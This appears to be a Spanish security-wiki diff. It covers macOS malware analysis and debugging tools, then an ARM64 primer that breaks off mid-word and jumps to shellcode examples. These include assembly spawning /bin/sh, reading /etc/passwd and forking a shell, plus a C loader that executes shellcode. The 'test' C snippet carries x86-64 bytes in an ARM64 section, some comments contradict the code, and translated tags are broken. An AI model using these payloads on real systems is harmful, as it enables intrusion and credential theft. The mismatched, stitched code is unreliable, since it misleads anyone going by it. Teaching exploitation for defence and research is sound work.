Estos instaladores tienen scripts bash `preinstall` y `postinstall` que los autores de malware suelen abusar para **persistir** el **malware**.
|
||||
|
||||
### hdiutil
|
||||
|
||||
Esta herramienta permite **montar** imágenes de disco de Apple (**.dmg**) para inspeccionarlas antes de ejecutar cualquier cosa:
|
||||
```bash
|
||||
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
|
||||
```
|
||||
Será montado en `/Volumes`
|
||||
|
||||
### Objective-C
|
||||
|
||||
Cuando se llama a una función en un binario que utiliza Objective-C, en lugar de llamar a esa función, el código compilado llamará a **`objc_msgSend`**. Que llamará a la función final:
|
||||
|
||||
![](<../../../.gitbook/assets/image (560).png>)
|
||||
|
||||
Los parámetros que esta función espera son:
|
||||
|
||||
* El primer parámetro (**self**) es "un puntero que apunta a la **instancia de la clase que recibirá el mensaje**". O dicho de manera más simple, es el objeto sobre el que se invoca el método. Si el método es un método de clase, esto será una instancia del objeto de la clase (en su totalidad), mientras que para un método de instancia, self apuntará a una instancia instanciada de la clase como objeto.
|
||||
* El segundo parámetro, (**op**), es "el selector del método que maneja el mensaje". De nuevo, de manera más simple, este es solo el **nombre del método**.
|
||||
* Los parámetros restantes son cualquier **valor que requiera el método** (op).
|
||||
|
||||
| **Argumento** | **Registro** | **(para) objc\_msgSend** |
|
||||
| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
|
||||
| **1er argumento** | **rdi** | **self: objeto sobre el que se invoca el método** |
|
||||
| **2º argumento** | **rsi** | **op: nombre del método** |
|
||||
| **3er argumento** | **rdx** | **1er argumento para el método** |
|
||||
| **4º argumento** | **rcx** | **2º argumento para el método** |
|
||||
| **5º argumento** | **r8** | **3er argumento para el método** |
|
||||
| **6º argumento** | **r9** | **4º argumento para el método** |
|
||||
| **7º+ argumento** | <p><strong>rsp+</strong><br><strong>(en la pila)</strong></p> | **5º+ argumento para el método** |
|
||||
|
||||
### Binarios empaquetados
|
||||
|
||||
* Comprobar la entropía alta
|
||||
* Comprobar las cadenas (si hay casi ninguna cadena comprensible, empaquetado)
|
||||
* El empaquetador UPX para MacOS genera una sección llamada "\_\_XHDR"
|
||||
|
||||
## Análisis dinámico
|
||||
|
||||
{% hint style="warning" %}
|
||||
Tenga en cuenta que para depurar binarios, **SIP debe estar deshabilitado** (`csrutil disable` o `csrutil enable --without debug`) o copiar los binarios a una carpeta temporal y **eliminar la firma** con `codesign --remove-signature <ruta-del-binario>` o permitir la depuración del binario (puede usar [este script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
Tenga en cuenta que para **instrumentar binarios del sistema**, (como `cloudconfigurationd`) en macOS, **SIP debe estar deshabilitado** (simplemente eliminar la firma no funcionará).
|
||||
{% endhint %}
|
||||
|
||||
### Hopper
|
||||
|
||||
#### Panel izquierdo
|
||||
|
||||
En el panel izquierdo de Hopper es posible ver los símbolos (**Etiquetas**) del binario, la lista de procedimientos y funciones (**Proc**) y las cadenas (**Str**). Estas no son todas las cadenas, sino las definidas en varias partes del archivo Mac-O (como _cstring o_ `objc_methname`).
|
||||
|
||||
#### Panel central
|
||||
|
||||
En el panel central se puede ver el **código desensamblado**. Y se puede ver como **crudo**, como **gráfico**, como **descompilado** y como **binario** haciendo clic en el icono respectivo:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Al hacer clic con el botón derecho en un objeto de código, se pueden ver las **referencias desde/hacia ese objeto** o incluso cambiar su nombre (esto no funciona en el pseudocódigo descompilado):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Además, en la **parte inferior central se pueden escribir comandos de Python**.
|
||||
|
||||
#### Panel derecho
|
||||
|
||||
En el panel derecho se pueden ver información interesante como el **historial de navegación** (para saber cómo llegó a la situación actual), el **gráfico de llamadas** donde se pueden ver todas las **funciones que llaman a esta función** y todas las funciones que **esta función llama**, e información de **variables locales**.
|
||||
|
||||
### dtruss
|
||||
```bash
|
||||
dtruss -c ls #Get syscalls of ls
|
||||
dtruss -c -p 1000 #get syscalls of PID 1000
|
||||
```
|
||||
### ktrace
|
||||
|
||||
Puedes usar este incluso con **SIP activado**.
|
||||
```bash
|
||||
ktrace trace -s -S -t c -c ls | grep "ls("
|
||||
```
|
||||
### dtrace
|
||||
|
||||
Permite a los usuarios acceder a las aplicaciones a un nivel extremadamente **bajo nivel** y proporciona una forma para que los usuarios **rastreen** **programas** e incluso cambien su flujo de ejecución. Dtrace utiliza **sondas** que se **colocan en todo el kernel** y se encuentran en lugares como el inicio y el final de las llamadas al sistema.
|
||||
|
||||
DTrace utiliza la función **`dtrace_probe_create`** para crear una sonda para cada llamada al sistema. Estas sondas se pueden activar en el **punto de entrada y salida de cada llamada al sistema**. La interacción con DTrace ocurre a través de /dev/dtrace, que solo está disponible para el usuario root.
|
||||
|
||||
Las sondas disponibles de dtrace se pueden obtener con:
|
||||
```bash
|
||||
dtrace -l | head
|
||||
ID PROVIDER MODULE FUNCTION NAME
|
||||
1 dtrace BEGIN
|
||||
2 dtrace END
|
||||
3 dtrace ERROR
|
||||
43 profile profile-97
|
||||
44 profile profile-199
|
||||
```
|
||||
El nombre de la sonda consta de cuatro partes: el proveedor, el módulo, la función y el nombre (`fbt:mach_kernel:ptrace:entry`). Si no se especifica alguna parte del nombre, Dtrace la aplicará como comodín.
|
||||
|
||||
Para configurar DTrace para activar sondas y especificar qué acciones realizar cuando se activan, necesitaremos usar el lenguaje D.
|
||||
|
||||
Se puede encontrar una explicación más detallada y más ejemplos en [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)
|
||||
|
||||
#### Ejemplos
|
||||
|
||||
Ejecute `man -k dtrace` para listar los **scripts de DTrace disponibles**. Ejemplo: `sudo dtruss -n binary`
|
||||
|
||||
* En línea
|
||||
```bash
|
||||
#Count the number of syscalls of each running process
|
||||
sudo dtrace -n 'syscall:::entry {@[execname] = count()}'
|
||||
```
|
||||
* guión
|
||||
```bash
|
||||
syscall:::entry
|
||||
/pid == $1/
|
||||
{
|
||||
}
|
||||
|
||||
#Log every syscall of a PID
|
||||
sudo dtrace -s script.d 1234
|
||||
```
|
||||
|
||||
```bash
|
||||
syscall::open:entry
|
||||
{
|
||||
printf("%s(%s)", probefunc, copyinstr(arg0));
|
||||
}
|
||||
syscall::close:entry
|
||||
{
|
||||
printf("%s(%d)\n", probefunc, arg0);
|
||||
}
|
||||
|
||||
#Log files opened and closed by a process
|
||||
sudo dtrace -s b.d -c "cat /etc/hosts"
|
||||
```
|
||||
|
||||
```bash
|
||||
syscall:::entry
|
||||
{
|
||||
;
|
||||
}
|
||||
syscall:::return
|
||||
{
|
||||
printf("=%d\n", arg1);
|
||||
}
|
||||
|
||||
#Log sys calls with values
|
||||
sudo dtrace -s syscalls_info.d -c "cat /etc/hosts"
|
||||
```
|
||||
### ProcessMonitor
|
||||
|
||||
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) es una herramienta muy útil para verificar las acciones relacionadas con procesos que un proceso está realizando (por ejemplo, monitorear qué nuevos procesos está creando un proceso).
|
||||
|
||||
### FileMonitor
|
||||
|
||||
[**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor) permite monitorear eventos de archivos (como creación, modificaciones y eliminaciones) proporcionando información detallada sobre dichos eventos.
|
||||
|
||||
### fs\_usage
|
||||
|
||||
Permite seguir las acciones realizadas por los procesos:
|
||||
```bash
|
||||
fs_usage -w -f filesys ls #This tracks filesystem actions of proccess names containing ls
|
||||
fs_usage -w -f network curl #This tracks network actions
|
||||
```
|
||||
### TaskExplorer
|
||||
|
||||
[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) es útil para ver las **bibliotecas** utilizadas por un binario, los **archivos** que está utilizando y las **conexiones de red**.\
|
||||
También verifica los procesos binarios en **virustotal** y muestra información sobre el binario.
|
||||
|
||||
### lldb
|
||||
|
||||
**lldb** es la herramienta de **hecho** para la **depuración** de binarios de **macOS**.
|
||||
```bash
|
||||
lldb ./malware.bin
|
||||
lldb -p 1122
|
||||
lldb -n malware.bin
|
||||
lldb -n malware.bin --waitfor
|
||||
```
|
||||
| **Comando (lldb)** | **Descripción** |
|
||||
| ----------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **run (r)** | Inicia la ejecución, que continuará sin interrupción hasta que se alcance un punto de interrupción o el proceso termine. |
|
||||
| **continue (c)** | Continúa la ejecución del proceso depurado. |
|
||||
| **nexti (n / ni)** | Ejecuta la siguiente instrucción. Este comando omitirá las llamadas a funciones. |
|
||||
| **stepi (s / si)** | Ejecuta la siguiente instrucción. A diferencia del comando nexti, este comando entrará en las llamadas a funciones. |
|
||||
| **finish (f)** | Ejecuta el resto de las instrucciones en la función actual ("frame"), devuelve y detiene. |
|
||||
| **control + c** | Pausa la ejecución. Si el proceso se ha ejecutado (r) o continuado (c), esto hará que el proceso se detenga ... dondequiera que se esté ejecutando actualmente. |
|
||||
| **breakpoint (b)** | <p>b main</p><p>b -[NSDictionary objectForKey:]</p><p>b 0x0000000100004bd9</p><p>br l #Lista de puntos de interrupción</p><p>br e/dis <num> #Habilitar/Deshabilitar punto de interrupción</p><p>breakpoint delete <num><br>b set -n main --shlib <lib_name></p> |
|
||||
| **help** | <p>help breakpoint #Obtener ayuda del comando breakpoint</p><p>help memory write #Obtener ayuda para escribir en la memoria</p> |
|
||||
| **reg** | <p>reg read</p><p>reg read $rax</p><p>reg write $rip 0x100035cc0</p> |
|
||||
| **x/s \<reg/memory address>** | Muestra la memoria como una cadena terminada en nulo. |
|
||||
| **x/i \<reg/memory address>** | Muestra la memoria como instrucción de ensamblador. |
|
||||
| **x/b \<reg/memory address>** | Muestra la memoria como byte. |
|
||||
| **print object (po)** | <p>Esto imprimirá el objeto referenciado por el parámetro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Tenga en cuenta que la mayoría de las API o métodos Objective-C de Apple devuelven objetos y, por lo tanto, deben mostrarse mediante el comando "print object" (po). Si po no produce una salida significativa, use <code>x/b</code></p> |
|
||||
| **memory** | <p>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Escribir AAAA en esa dirección<br>memory write -f s $rip+0x11f+7 "AAAA" #Escribir AAAA en la dirección</p> |
|
||||
| **disassembly** | <p>dis #Desensambla la función actual<br>dis -c 6 #Desensambla 6 líneas<br>dis -c 0x100003764 -e 0x100003768 #Desde una dirección hasta la otra<br>dis -p -c 4 #Comienza en la dirección actual desensamblando</p> |
|
||||
| **parray** | parray 3 (char \*\*)$x1 # Verificar matriz de 3 componentes en el registro x1 |
|
||||
|
||||
{% hint style="info" %}
|
||||
Cuando se llama a la función **`objc_sendMsg`**, el registro **rsi** contiene el **nombre del método** como una cadena terminada en nulo ("C"). Para imprimir el nombre a través de lldb, haga lo siguiente:
|
||||
|
||||
`(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
|
||||
|
||||
`(lldb) print (char*)$rsi:`\
|
||||
`(char *) $1 = 0x00000001000f1576 "startMiningWithPort:password:coreCount:slowMemory:currency:"`
|
||||
|
||||
`(lldb) reg read $rsi: rsi = 0x00000001000f1576 "startMiningWithPort:password:coreCount:slowMemory:currency:"`
|
||||
{% endhint %}
|
||||
|
||||
### Anti-Análisis Dinámico
|
||||
|
||||
#### Detección de VM
|
||||
|
||||
* El comando **`sysctl hw.model`** devuelve "Mac" cuando el **anfitrión es un MacOS**, pero algo diferente cuando es una VM.
|
||||
* Jugando con los valores de **`hw.logicalcpu`** y **`hw.physicalcpu`**, algunos malwares intentan detectar si es una VM.
|
||||
* Algunos malwares también pueden **detectar** si la máquina es **VMware** en función de la dirección MAC (00:50:56).
|
||||
* También es posible encontrar **si un proceso está siendo depurado** con un código simple como:
|
||||
|
||||
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //proceso siendo depurado }`
|
||||
|
||||
* También puede invocar la llamada al sistema **`ptrace`** con la bandera **`PT_DENY_ATTACH`**. Esto **impide** que un depurador se adjunte y rastree.
|
||||
* Puede verificar si la función **`sysctl`** o **`ptrace`** está siendo **importada** (pero el malware podría importarla dinámicamente)
|
||||
* Como se señala en este artículo, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
|
||||
"_El mensaje Process # exited with **status = 45 (0x0000002d)** es generalmente una señal reveladora de que el objetivo de depuración está usando **PT\_DENY\_ATTACH**_"
|
||||
|
||||
## Fuzzing
|
||||
|
||||
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
|
||||
|
||||
ReportCrash **analiza los procesos que se bloquean y guarda un informe de bloqueo en el disco**. Un informe de bloqueo contiene información que puede **ayudar a un desarrollador a diagnosticar** la causa de un bloqueo.\
|
||||
Para aplicaciones y otros procesos **que se ejecutan en el contexto de lanzamiento por usuario**, ReportCrash se ejecuta como un LaunchAgent y guarda los informes de bloqueo en `~/Library/Logs/DiagnosticReports/` del usuario.\
|
||||
Para demonios, otros procesos **que se ejecutan en el contexto de lanzamiento del sistema** y otros procesos privilegiados, ReportCrash se ejecuta como un LaunchDaemon y guarda los informes de bloqueo en `/Library/Logs/DiagnosticReports` del sistema.
|
||||
|
||||
Si le preocupa que los informes de bloqueo **se envíen a Apple**, puede desactivarlos. Si no, los informes de bloqueo pueden ser útiles para **averiguar cómo se bloqueó un servidor**.
|
||||
```bash
|
||||
#To disable crash reporting:
|
||||
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
|
||||
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.plist
|
||||
|
||||
#To re-enable crash reporting:
|
||||
launchctl load -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
|
||||
sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.plist
|
||||
```
|
||||
### Sleep
|
||||
|
||||
Mientras se realiza fuzzing en MacOS, es importante evitar que el equipo entre en modo de suspensión:
|
||||
|
||||
* systemsetup -setsleep Never
|
||||
* pmset, Preferencias del Sistema
|
||||
* [KeepingYouAwake](https://github.com/newmarcel/KeepingYouAwake)
|
||||
|
||||
#### Desconexión SSH
|
||||
|
||||
Si se está realizando fuzzing a través de una conexión SSH, es importante asegurarse de que la sesión no se desconecte. Para ello, se debe cambiar el archivo sshd\_config con:
|
||||
|
||||
* TCPKeepAlive Yes
|
||||
* ClientAliveInterval 0
|
||||
* ClientAliveCountMax 0
|
||||
```bash
|
||||
sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist
|
||||
sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
|
||||
```
|
||||
### Manejadores internos
|
||||
|
||||
[**Revisa esta sección**](../#file-extensions-apps) para descubrir cómo puedes encontrar qué aplicación es responsable de **manejar el esquema o protocolo especificado**.
|
||||
|
||||
### Enumerando procesos de red
|
||||
|
||||
Es interesante encontrar procesos que estén gestionando datos de red:
|
||||
```bash
|
||||
dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >> recv.log
|
||||
#wait some time
|
||||
sort -u recv.log > procs.txt
|
||||
cat procs.txt
|
||||
```
|
||||
### Más información sobre Fuzzing en MacOS
|
||||
|
||||
* [https://github.com/bnagy/slides/blob/master/OSXScale.pdf](https://github.com/bnagy/slides/blob/master/OSXScale.pdf)
|
||||
* [https://github.com/bnagy/francis/tree/master/exploitaben](https://github.com/bnagy/francis/tree/master/exploitaben)
|
||||
* [https://github.com/ant4g0nist/crashwrangler](https://github.com/ant4g0nist/crashwrangler)
|
||||
|
||||
## Referencias
|
||||
|
||||
* [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
|
||||
* [**https://www.youtube.com/watch?v=T5xfL9tEg44**](https://www.youtube.com/watch?v=T5xfL9tEg44)
|
||||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,265 @@
|
|||
# Introducción a ARM64
|
||||
|
||||
ARM64, también conocido como ARMv8-A, es una arquitectura de procesador de 64 bits utilizada en varios tipos de dispositivos, incluyendo teléfonos inteligentes, tabletas, servidores e incluso algunas computadoras personales de alta gama (macOS). Es un producto de ARM Holdings, una empresa conocida por sus diseños de procesadores eficientes en energía.
|
||||
|
||||
### Registros
|
||||
|
||||
ARM64 tiene **31 registros de propósito general**, etiquetados como `x0` a `x30`. Cada uno puede almacenar un valor de **64 bits** (8 bytes). Para operaciones que requieren solo valores de 32 bits, los mismos registros se pueden acceder en un modo de 32 bits utilizando los nombres w0 a w30.
|
||||
|
||||
1. **`x0`** a **`x7`** - Estos se utilizan típicamente como registros de scratch y para pasar parámetros a subrutinas.
|
||||
* **`x0`** también lleva los datos de retorno de una función.
|
||||
2. **`x8`** - En el kernel de Linux, `x8` se utiliza como el número de llamada al sistema para la instrucción `svc`. **¡En macOS se utiliza x16!**
|
||||
3. **`x9`** a **`x15`** - Registros temporales, a menudo utilizados para variables locales.
|
||||
4. **`x16`** y **`x17`** - Registros temporales, también utilizados para llamadas de función indirectas y stubs de PLT (Tabla de Enlace de Procedimiento).
|
||||
* **`x16`** se utiliza como el número de llamada al sistema para la instrucción **`svc`**.
|
||||
5. **`x18`** - Registro de plataforma. En algunas plataformas, este registro está reservado para usos específicos de la plataforma.
|
||||
6. **`x19`** a **`x28`** - Estos son registros guardados por el llamado. Una función debe preservar los valores de estos registros para su llamador.
|
||||
7. **`x29`** - Puntero de marco.
|
||||
8. **`x30`** - Registro de enlace. Contiene la dirección de retorno cuando se ejecuta una instrucción `BL` (Rama con Enlace) o `BLR` (Rama con Enlace a Registro).
|
||||
9. **`sp`** - Puntero de pila, utilizado para realizar un seguimiento de la parte superior de la pila.
|
||||
10. **`pc`** - Contador de programa, que apunta a la siguiente instrucción a ejecutar.
|
||||
|
||||
### Convención de llamada
|
||||
|
||||
La convención de llamada ARM64 especifica que los **primeros ocho parámetros** de una función se pasan en los registros **`x0` a `x7`**. Los parámetros **adicionales** se pasan en la **pila**. El valor de **retorno** se pasa de vuelta en el registro **`x0`**, o en **`x1`** también **si es de 128 bits**. Los registros **`x19`** a **`x30`** y **`sp`** deben ser **preservados** en las llamadas a funciones.
|
||||
|
||||
Al leer una función en ensamblador, busque el **prólogo y epílogo de la función**. El **prólogo** generalmente implica **guardar el puntero de marco (`x29`)**, **configurar** un **nuevo puntero de marco**, y **asignar espacio en la pila**. El **epílogo** generalmente implica **restaurar el puntero de marco guardado** y **regresar** de la función.
|
||||
|
||||
### Instrucciones comunes
|
||||
|
||||
Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2`**, donde **`opcode`** es la **operación** que se realizará (como `add`, `sub`, `mov`, etc.), **`dst`** es el registro **destino** donde se almacenará el resultado, y **`src1`** y **`src2`** son los registros **fuente**. Los valores inmediatos también se pueden usar en lugar de los registros fuente.
|
||||
|
||||
* **`mov`**: **Mover** un valor de un **registro** a otro.
|
||||
* Ejemplo: `mov x0, x1` — Esto mueve el valor de `x1` a `x0`.
|
||||
* **`ldr`**: **Cargar** un valor de la **memoria** en un **registro**.
|
||||
* Ejemplo: `ldr x0, [x1]` — Esto carga un valor de la ubicación de memoria apuntada por `x1` en `x0`.
|
||||
* **`str`**: **Almacenar** un valor de un **registro** en la **memoria**.
|
||||
* Ejemplo: `str x0, [x1]` — Esto almacena el valor en `x0` en la ubicación de memoria apuntada por `x1`.
|
||||
* **`ldp`**: **Cargar par de registros**. Esta instrucción **carga dos registros** de **ubicaciones de memoria consecut
|
||||
## macOS
|
||||
|
||||
### syscalls
|
||||
|
||||
Revisa [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master).
|
||||
|
||||
### Shellcodes
|
||||
|
||||
Para compilar:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
as -o shell.o shell.s
|
||||
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Para extraer los bytes:
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
|
||||
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
echo -n '\\x'$c
|
||||
done
|
||||
```
|
||||
<detalles>
|
||||
|
||||
<resumen>Código C para probar el shellcode</resumen>
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
#include<string.h>
|
||||
|
||||
unsigned char code[] = \
|
||||
"\x48\x31\xc0\x48\x83\xc0\x01\x48\x31\xff\x48\x83\xc7\x01\x48\x31\xf6\x48\x83\xc6\x02\x48\x31\xd2\x48\x83\xc2\x0e\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05";
|
||||
|
||||
int main(){
|
||||
printf("Shellcode length: %d\n", strlen(code));
|
||||
int (*ret)() = (int(*)())code;
|
||||
ret();
|
||||
}
|
||||
```
|
||||
|
||||
</detalles>
|
||||
```c
|
||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||
// gcc loader.c -o loader
|
||||
#include <stdio.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int (*sc)();
|
||||
|
||||
char shellcode[] = "<INSERT SHELLCODE HERE>";
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
|
||||
|
||||
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
|
||||
|
||||
if (ptr == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
exit(-1);
|
||||
}
|
||||
printf("[+] SUCCESS: mmap\n");
|
||||
printf(" |-> Return = %p\n", ptr);
|
||||
|
||||
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
|
||||
printf("[+] SUCCESS: memcpy\n");
|
||||
printf(" |-> Return = %p\n", dst);
|
||||
|
||||
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
|
||||
|
||||
if (status == -1) {
|
||||
perror("mprotect");
|
||||
exit(-1);
|
||||
}
|
||||
printf("[+] SUCCESS: mprotect\n");
|
||||
printf(" |-> Return = %d\n", status);
|
||||
|
||||
printf("[>] Trying to execute shellcode...\n");
|
||||
|
||||
sc = ptr;
|
||||
sc();
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
#### Shell
|
||||
|
||||
Tomado de [**aquí**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) y explicado.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="con adr" %}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
|
||||
|
||||
_main:
|
||||
adr x0, sh_path ; This is the address of "/bin/sh".
|
||||
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
|
||||
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
|
||||
mov x16, #59 ; Move the execve syscall number (59) into x16.
|
||||
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
||||
|
||||
sh_path: .asciz "/bin/sh"
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="con pila" %}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
|
||||
|
||||
_main:
|
||||
; We are going to build the string "/bin/sh" and place it on the stack.
|
||||
|
||||
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
|
||||
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
|
||||
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
|
||||
movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
|
||||
|
||||
str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
|
||||
|
||||
; Prepare arguments for the execve syscall.
|
||||
|
||||
mov x1, #8 ; Set x1 to 8.
|
||||
sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
|
||||
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
|
||||
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
|
||||
|
||||
; Make the syscall.
|
||||
|
||||
mov x16, #59 ; Move the execve syscall number (59) into x16.
|
||||
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
||||
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Leer con cat
|
||||
|
||||
El objetivo es ejecutar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, por lo que el segundo argumento (x1) es una matriz de parámetros (que en memoria significa una pila de direcciones).
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
.align 2 ; Align the beginning of the following code to a 4-byte boundary
|
||||
|
||||
_main:
|
||||
; Prepare the arguments for the execve syscall
|
||||
sub sp, sp, #48 ; Allocate space on the stack
|
||||
mov x1, sp ; x1 will hold the address of the argument array
|
||||
adr x0, cat_path
|
||||
str x0, [x1] ; Store the address of "/bin/cat" as the first argument
|
||||
adr x0, passwd_path ; Get the address of "/etc/passwd"
|
||||
str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument
|
||||
str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
|
||||
|
||||
adr x0, cat_path
|
||||
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
|
||||
mov x16, #59 ; Load the syscall number for execve (59) into x8
|
||||
svc 0 ; Make the syscall
|
||||
|
||||
|
||||
cat_path: .asciz "/bin/cat"
|
||||
.align 2
|
||||
passwd_path: .asciz "/etc/passwd"
|
||||
```
|
||||
#### Invocar un comando con sh desde un fork para que el proceso principal no sea detenido
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
.align 2 ; Align the beginning of the following code to a 4-byte boundary
|
||||
|
||||
_main:
|
||||
; Prepare the arguments for the fork syscall
|
||||
mov x16, #2 ; Load the syscall number for fork (2) into x8
|
||||
svc 0 ; Make the syscall
|
||||
cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
|
||||
beq _loop ; If not child process, loop
|
||||
|
||||
; Prepare the arguments for the execve syscall
|
||||
|
||||
